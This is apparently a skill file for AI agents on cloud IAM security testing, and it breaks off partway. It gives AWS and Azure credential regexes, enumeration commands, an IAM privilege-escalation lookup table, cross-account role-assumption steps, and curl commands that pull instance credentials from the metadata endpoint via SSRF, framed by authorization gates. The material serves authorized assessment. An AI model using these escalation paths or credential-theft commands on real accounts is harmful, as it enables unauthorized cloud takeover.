cloud-iam-deep – DevOps & Infrastructure skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use

Trigger when:

• A cloud credential surfaces (key, secret, token, JSON file)
• SSRF chain reaches IMDS / metadata endpoint
• APK / git-leak reveals embedded cloud key
• Recon shows public S3/GCS/Azure-blob with permissions you can verify
• A Kubernetes API or service-account token is exposed
• Post-RCE on a cloud-hosted instance — pivot to cloud control plane

Do NOT use for:

• On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
• Web2 vulns that happen to be on AWS — use the relevant hunt-* skill

---

Scope and evidence

Finding a credential does not authorize its use, cross-account pivots, secret retrieval or IAM changes. Use only owner-approved test credentials/accounts and harmless canaries; store tokens privately and redact output. The tables describe possible prerequisites, not sufficient conditions: resource scope, explicit denies, boundaries, SCPs, trust policies and service-specific controls all matter. Do not overwrite production functions or create admin persistence to prove a theoretical path. Current service availability/API names must be checked before use; historical examples and severity numbers are not validated CVSS calculations. Use isolated CLI profiles/configuration so tests do not replace the operator’s default identity.

Credential identification (first 60 seconds)

# AWS access key patterns
AKIA[0-9A-Z]{16}                # IAM user access key (long-term)
ASIA[0-9A-Z]{16}                # STS temporary credential
AGPA[0-9A-Z]{16}                # IAM group
AIDA[0-9A-Z]{16}                # IAM user (user-id)
AROA[0-9A-Z]{16}                # IAM role
ANPA[0-9A-Z]{16}                # Managed policy

# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40}              # AWS secret access key

# Azure
AccountKey=[A-Za-z0-9+/=]{86}   # Storage account key
client_secret pattern + UUID    # Azure AD app credential

# GCP service account JSON
{
  "type": "service_account",
  "project_id": "...",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----..."
}

# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1...     # decode iss claim to inspect the claimed issuer; decoding does not verify the signature

---

AWS — read-only validation (the safe first step)

# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self>          # inline policies
aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20

---

AWS privesc patterns (24+ documented — iam_privesc techniques)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

| You have | Escalate via |

|---|---|

| iam:CreateAccessKey | Create access key on any user → impersonate |

| iam:CreateLoginProfile | Set a console password on a user → login |

| iam:UpdateLoginProfile | Reset console password on a user |

| iam:AttachUserPolicy | Attach AdministratorAccess to self |

| iam:AttachGroupPolicy | Attach AdministratorAccess to a group you're in |

| iam:AttachRolePolicy + sts:AssumeRole | Attach to a role you can assume |

| iam:PutUserPolicy | Inline AdministratorAccess to self |

| iam:PutGroupPolicy | Inline policy on a group |

| iam:PutRolePolicy | Inline on a role you can assume |

| iam:AddUserToGroup | Add self to admin group |

| iam:UpdateAssumeRolePolicy + sts:AssumeRole | Modify trust to allow self |

| iam:CreatePolicyVersion | Create v2 of an attached policy with admin |

| iam:SetDefaultPolicyVersion | Switch attached policy to admin version |

| iam:PassRole + ec2:RunInstances | Launch EC2 as admin role → use instance creds |

| iam:PassRole + lambda:CreateFunction/InvokeFunction | Run code as admin role |

| iam:PassRole + cloudformation:CreateStack | CF stack creates resources as admin |

| iam:PassRole + glue:CreateDevEndpoint | Notebook runs as admin role |

| iam:PassRole + datapipeline | Pipeline runs as admin role |

| iam:PassRole + codestar:CreateProject | New project gets admin role |

| ec2:RunInstances plus authorized instance-profile attachment and iam:PassRole (an AMI does not contain an instance profile) | Spin instance, exfil creds from IMDS |

| lambda:UpdateFunctionCode (function has admin role) | Replace code → exfil creds |

| lambda:UpdateFunctionConfiguration | Add layer / env var that exfils |

| cloudformation:UpdateStack | Modify stack to grant self admin |

| sts:AssumeRole (where trust allows you) | Direct privilege jump |

Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

---

AWS — STS / cross-account / role chaining

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs

# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Verify
aws sts get-caller-identity  # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues)

Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. Missing ExternalId can expose a confused-deputy path in a multi-tenant third-party integration; it does not alone allow anyone to assume a role. Evaluate the actual principal, trust conditions and caller permissions.

---

AWS IMDSv1 / IMDSv2 abuse via SSRF

# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.

---

Azure — credential validation

# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity

# Who am I?
az account show

# Subscriptions
az account list --output table

# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table

---

A

… (full content is in the download package)